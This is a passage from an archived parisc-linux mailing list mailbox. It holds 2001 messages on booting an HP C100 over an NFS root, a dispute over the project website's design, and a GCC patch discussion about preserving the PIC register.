NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kmem_create: Forcing size word alignment - nfs_fh
Looking up port of RPC 100003/2 on 192.168.1.64
Looking up port of RPC 100005/2 on 192.168.1.64
VFS: Mounted root (nfs filesystem) readonly.
Warning: unable to open an initial console.



From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C100
Date: Mon, 15 Jan 2001 22:17:49 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20010115221749.A28689@parcelfarce.linux.theplanet.co.uk>
References: <3A636BE1.EE2DBF87@tipas.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619531 10396 80.91.229.3 (22 Nov 2014 01:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Aleksandr Konstantinov <sanjak@tipas.lt>
Original-X-From: willy@www.linux.org.uk  Mon Jan 15 15:14:13 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA24832
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 15:14:12 -0700
Original-Received: (qmail 30897 invoked by uid 15267); 15 Jan 2001 22:17:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30887 invoked from network); 15 Jan 2001 22:17:53 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 22:17:53 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14IHwj-0007Z0-00; Mon, 15 Jan 2001 22:17:49 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A636BE1.EE2DBF87@tipas.lt>; from sanjak@tipas.lt on Mon, Jan 15, 2001 at 10:30:09PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9195

On Mon, Jan 15, 2001 at 10:30:09PM +0100, Aleksandr Konstantinov wrote:
> Can anybody explain me how to get console NOT on serial link ?

activate CONFIG_STI and use `console=tty0' instead of `console=ttyS0'.
this should be done for you automatically by palo when you set CONFIG_STI.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 Boots! (Mostly)
Date: Mon, 15 Jan 2001 15:23:30 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <3A637862.C312CD12@uswest.net>
References: <Pine.LNX.4.21.0101151559150.23803-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619531 10399 80.91.229.3 (22 Nov 2014 01:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: rbradetich@uswest.net  Mon Jan 15 15:20:26 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA25104
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 15:20:25 -0700
Original-Received: (qmail 7421 invoked by uid 15267); 15 Jan 2001 22:24:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7402 invoked from network); 15 Jan 2001 22:24:05 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 22:24:05 -0000
Original-Received: (qmail 21102 invoked by alias); 15 Jan 2001 22:23:49 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 20257 invoked by uid 0); 15 Jan 2001 22:23:30 -0000
Original-Received: from lametoby.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 15 Jan 2001 22:23:30 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9196

Greg,

I don't believe you have the latest palo version from cvs.  The latest palo
version will append a console=tty0 or console=ttyS0 to the Kernel
command line.

Try updating your palo, then try again.

- Ryan


Greg Ingram wrote:

> I tracked down the crash on my C100 to somewhere inside register_console()
> called from serial_console_init().  I tried a kernel without serial
> console support but that stopped generating output too early, so I tried
> just removing the register_console call() and now I get past mounting the
> root filesystem before losing console output.  A log follows.  The machine
> accepts telnet connections but telnet session won't start.  I get:
>
>         telnetd: getpty: permission denied
>
> I'm hoping that's just something to do with how I installed the root
> filesystem.  Maybe it hasn't been remounted as writable?  I'm so close to
> a shell!
>
> - Greg

[snip]

>
> Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=192.168.1.64
>

[snip]



From - Thu Nov 08 21:15:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] website
Date: Mon, 15 Jan 2001 22:24:31 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20010115222431.C28689@parcelfarce.linux.theplanet.co.uk>
References: <3A631530.29D686AD@linuxcare.com> <200101151933.LAA19576@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619531 10405 80.91.229.3 (22 Nov 2014 01:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:31 +0000 (UTC)
Cc: Jane Vinet <jvinet@linuxcare.com>, Matthew Wilcox <matthew@wil.cx>,
        parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: willy@www.linux.org.uk  Mon Jan 15 15:21:07 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA25200
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 15:21:06 -0700
Original-Received: (qmail 8383 invoked by uid 15267); 15 Jan 2001 22:24:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8372 invoked from network); 15 Jan 2001 22:24:47 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 22:24:47 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14II3D-0007dY-00; Mon, 15 Jan 2001 22:24:31 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101151933.LAA19576@opus.allegro.com>; from sieler@allegro.com on Mon, Jan 15, 2001 at 11:33:28AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9197

On Mon, Jan 15, 2001 at 11:33:28AM -0800, Stan Sieler wrote:
> The key, probably the most important thing in web page design, is to
> *NOT* override the user's font defaults.  Web pages with font sizes, colors, &
> styles are simply evil.  There are pages I can no longer read with Netscape,
> because the @#$%^ web designer went out of their way to choose a small
> font...and that's *real* small on a 1600x1200 display!  MSIE let's me 
> go to Tools/Internet Options/Accessibility and say:
> 
>    ignore font colors on page
>    ignore font size on page
> 
> ...which is simply wonderful.

Netscape has a simlar thing; however it ignore this preference when
rendering tables.  I went and checked out the mozilla classic codebase
once and saw exactly how to fix it, but they'd already forked mozilla
seamonkey at that point, so i didn't bother.

> Remember, the three most important things to consider when
> designing a web page are: content, content, and content.
> Look / feel / wow isn't in the top three!

i couldn't agree more.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 Boots! (Mostly)
Date: Mon, 15 Jan 2001 15:37:46 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20010115223746.AF97438C60@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0101151559150.23803-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619532 10409 80.91.229.3 (22 Nov 2014 01:25:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: taggart@carmen.fc.hp.com  Mon Jan 15 15:32:13 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA25684
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 15:32:13 -0700
Original-Received: (qmail 24452 invoked by uid 15267); 15 Jan 2001 22:35:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24444 invoked from network); 15 Jan 2001 22:35:54 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 22:35:54 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 55D38A45; Mon, 15 Jan 2001 17:35:50 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id AF97438C60; Mon, 15 Jan 2001 15:37:46 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Greg Ingram <ingram@symsys.com> 
   of "Mon, 15 Jan 2001 16:11:19 CST." <Pine.LNX.4.21.0101151559150.23803-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9198


Greg Ingram writes...

> root filesystem before losing console output.  A log follows.  The machine
> accepts telnet connections but telnet session won't start.  I get:
> 
> 	telnetd: getpty: permission denied
> 
> I'm hoping that's just something to do with how I installed the root
> filesystem.  Maybe it hasn't been remounted as writable?  I'm so close to
> a shell! 

Yes, that is exactly the same error that I have seen when the root wasn't 
mounted rw. Until you fix your console problem you can probably add something 
like,

10.0.0.1:/tftpboot/nfsroot      /       nfs    defaults,errors=remount-ro

to /tftpboot/nfsroot/etc/fstab

replace with your IP/nfsroot path. That should let it remount rw after it's 
booted.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:15:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] website
Date: Mon, 15 Jan 2001 22:50:51 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20010115225051.F28689@parcelfarce.linux.theplanet.co.uk>
References: <20010106122621.C14922@parcelfarce.linux.theplanet.co.uk> <3A631530.29D686AD@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619532 10413 80.91.229.3 (22 Nov 2014 01:25:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:32 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Jane Vinet <jvinet@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Mon Jan 15 15:47:26 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA26098
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 15:47:26 -0700
Original-Received: (qmail 16913 invoked by uid 15267); 15 Jan 2001 22:51:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16879 invoked from network); 15 Jan 2001 22:51:00 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 22:51:00 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14IISh-0007us-00; Mon, 15 Jan 2001 22:50:51 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A631530.29D686AD@linuxcare.com>; from jvinet@linuxcare.com on Mon, Jan 15, 2001 at 10:20:16AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9199

On Mon, Jan 15, 2001 at 10:20:16AM -0500, Jane Vinet wrote:
> Discussions between Linuxcare and Hewlett Packard have come to the
> conclusion that HP are satisfied with the site and we are going to post
> it the way it is now.

I see.  In that case, I shall not be contributing further to the website
in any way.  I believe it is technically incompetent and deeply flawed.
You gave the impression that problems would be fixed, but clearly this
is not the case.  I will not be fixing typos or incorrect information;
I will not be updating the todo list or contributing faq entries.

> >  * The text is too small.
> >  * It uses too many tables.
> 
> I feel these are personal preferences - however, I will see what can be
> done about the font

no they aren't.  see the other post i made in this thread showing how
the tables can be easily eliminated which will lead to less memory usage
and faster rendering time.  the font is not quite as unreadably small as
some sites, but it's unnecessarily small.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ready to go!
Date: Sun, 30 May 1999 01:46:55 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <19990530014655.J1410@mencheca.ch.genedata.com>
References: <19990529232152.I1410@mencheca.ch.genedata.com> <Pine.LNX.4.10.9905300129190.25944-100000@bastion.nl3155vj16.vanderkooij.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619532 10415 80.91.229.3 (22 Nov 2014 01:25:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:32 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>
Original-X-From: Matthew.Wilcox@genedata.com  Sat May 29 17:47:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA04538
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 May 1999 17:46:59 -0600
Original-Received: (qmail 5711 invoked by uid 15267); 29 May 1999 23:46:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5704 invoked from network); 29 May 1999 23:46:26 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 29 May 1999 23:46:26 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id BAA16167;
	Sun, 30 May 1999 01:46:56 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id BAA518421;
	Sun, 30 May 1999 01:46:55 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10nsoZ-00029yC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Hugo.van.der.Kooij@caiw.nl; Sun, 30 May 1999 01:46:55 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.LNX.4.10.9905300129190.25944-100000@bastion.nl3155vj16.vanderkooij.org>; from Hugo van der Kooij on Sun, May 30, 1999 at 01:30:05AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9200

On Sun, May 30, 1999 at 01:30:05AM +0200, Hugo van der Kooij wrote:
> Please guys. Don't send message to me if you send them to the list as
> well. I find 1 copy quite enough.

it's normal practice to do so on mailing lists.  it allows conversations
to happen much quicker when the listserv is slow (as vger is right now).
it's also the way that mailreaders work - reply to sender or reply to all
- changing that is a pain.  not to mention that you did the same thing :-)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josiah Carlson <jcarlson@macalester.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] website
Date: Mon, 15 Jan 2001 17:00:43 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <3A63811B3D8.D2B3JCARLSON@smtp.macalester.edu>
References: <200101151933.LAA19576@opus.allegro.com>
 <20010115222431.C28689@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619533 10418 80.91.229.3 (22 Nov 2014 01:25:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: parisc-linux@thepuffingroup.com
Original-X-From: jcarlson@macalester.edu  Mon Jan 15 15:58:32 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA26518
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 15:58:32 -0700
Original-Received: (qmail 1051 invoked by uid 15267); 15 Jan 2001 23:02:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1036 invoked from network); 15 Jan 2001 23:02:12 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 23:02:12 -0000
Original-Received: from dualcel400 ([141.140.106.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with SMTP id <01JYXZBL5P84001K5W@macalester.edu> for
 parisc-linux@thepuffingroup.com; Mon, 15 Jan 2001 17:02:09 CDT
In-reply-to: <20010115222431.C28689@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Becky! ver 1.25.04
Xref: news.gmane.org gmane.linux.ports.parisc:9201

> > Remember, the three most important things to consider when
> > designing a web page are: content, content, and content.
> > Look / feel / wow isn't in the top three!
> 
> i couldn't agree more.

So you've got a problem with the content?

I don't understand what the problem is.  The page works.
So it's generated by a script that adds in a bunch of extra stuff...so
what?  The font sizes and such are not changed (except in the
toolbar)...should be able to be viewed on netscape (and at least in the
later mozilla's and NS6, you can override the defaults). Sounds like
alot of complaining for nothing.

As well, if you're not happy with the content on the web page, write a
page up and post it for the good of the rest of us.

---
Josiah Carlson
jcarlson@macalester.edu


From - Thu Nov 08 21:15:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Tue, 16 Jan 2001 10:07:45 +1100 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101160955240.4272-100000@front.linuxcare.com.au>
References: <9023.979580819@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619533 10420 80.91.229.3 (22 Nov 2014 01:25:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:33 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: Jeffrey A Law <law@redhat.com>
Original-X-From: alan@linuxcare.com.au  Mon Jan 15 16:04:23 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA26876
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 16:04:21 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA04898;
	Tue, 16 Jan 2001 10:07:45 +1100
In-Reply-To: <9023.979580819@upchuck.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9202

On Mon, 15 Jan 2001, Jeffrey A Law wrote:

> First, if an ASM trashes a fixed register, then it is the ASM's responsibility
> to restore it.  So that part of this patch is wrong.

OK, that's fair enough.

> The rest of it looks pretty reasonable and can be installed.

There is possibly a small problem.  The test at the end of
hppa_expand_prologue:

  if (flag_pic && HARD_REGISTER_P (PIC_OFFSET_TABLE_SAVE_RTX))

might be wrong.  I tested HARD_REGISTER_P because we don't want to emit
the instruction as part of the prologue if PIC_OFFSET_TABLE_SAVE_RTX is
dead.  What happens if register pressure causes the pseudo to be allocated
a stack slot?

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:15:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] website
Date: Mon, 15 Jan 2001 23:10:00 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20010115231000.J28689@parcelfarce.linux.theplanet.co.uk>
References: <200101151933.LAA19576@opus.allegro.com> <20010115222431.C28689@parcelfarce.linux.theplanet.co.uk> <3A63811B3D8.D2B3JCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619533 10423 80.91.229.3 (22 Nov 2014 01:25:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Josiah Carlson <jcarlson@macalester.edu>
Original-X-From: willy@www.linux.org.uk  Mon Jan 15 16:06:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA27141
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 16:06:37 -0700
Original-Received: (qmail 12190 invoked by uid 15267); 15 Jan 2001 23:10:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12087 invoked from network); 15 Jan 2001 23:10:12 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 23:10:12 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14IIlE-00088y-00; Mon, 15 Jan 2001 23:10:00 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A63811B3D8.D2B3JCARLSON@smtp.macalester.edu>; from jcarlson@macalester.edu on Mon, Jan 15, 2001 at 05:00:43PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9203

On Mon, Jan 15, 2001 at 05:00:43PM -0600, Josiah Carlson wrote:
> I don't understand what the problem is.  The page works.

haven't you been reading my posts where i describe the problems with
the build system which are going to lead to the pages getting out
of sync?  Heck, they have _already_ gt out of sync.

> So it's generated by a script that adds in a bunch of extra stuff...so
> what?  The font sizes and such are not changed

yes they are.  go and look again.

> As well, if you're not happy with the content on the web page, write a
> page up and post it for the good of the rest of us.

er.  i have.  really, have you not been paying attention?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Tue, 16 Jan 2001 10:17:52 +1100 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101161009040.4272-100000@front.linuxcare.com.au>
References: <200101151624.LAA26183@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619533 10426 80.91.229.3 (22 Nov 2014 01:25:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:33 +0000 (UTC)
Cc: law@redhat.com, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Mon Jan 15 16:14:25 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA27435
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 16:14:23 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA05269;
	Tue, 16 Jan 2001 10:17:52 +1100
In-Reply-To: <200101151624.LAA26183@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:9204

On Mon, 15 Jan 2001, John David Anglin wrote:

> The effect of these rules is that gp must be treated as a scratch register
> at a point of call but a procedure must preserve it from entry to exit.

Interestingly, gcc currently does not always preserve gp.

extern void foo (void);
int main (void) { foo(); return 0; }

compiled with -O gives

        std %r2,-16(%r30)
        ldo 128(%r30),%r30
        std %r3,-128(%r30)
        copy %r27,%r3
        b,l __main,%r2
        ldo -16(%r30),%r29
        copy %r3,%r27
        b,l foo,%r2
        ldo -16(%r30),%r29
        ldi 0,%r28
        ldd -144(%r30),%r2
        bve (%r2)
        ldd,mb -128(%r30),%r3

and gp is not restored after the call to foo.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:15:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils
Date: Tue, 16 Jan 2001 10:24:28 +1100 (EST)
Lines: 7
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101161020240.4272-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619534 10429 80.91.229.3 (22 Nov 2014 01:25:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:34 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: alan@linuxcare.com.au  Mon Jan 15 16:20:50 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA27866
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 16:20:48 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA05660
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 10:24:28 +1100
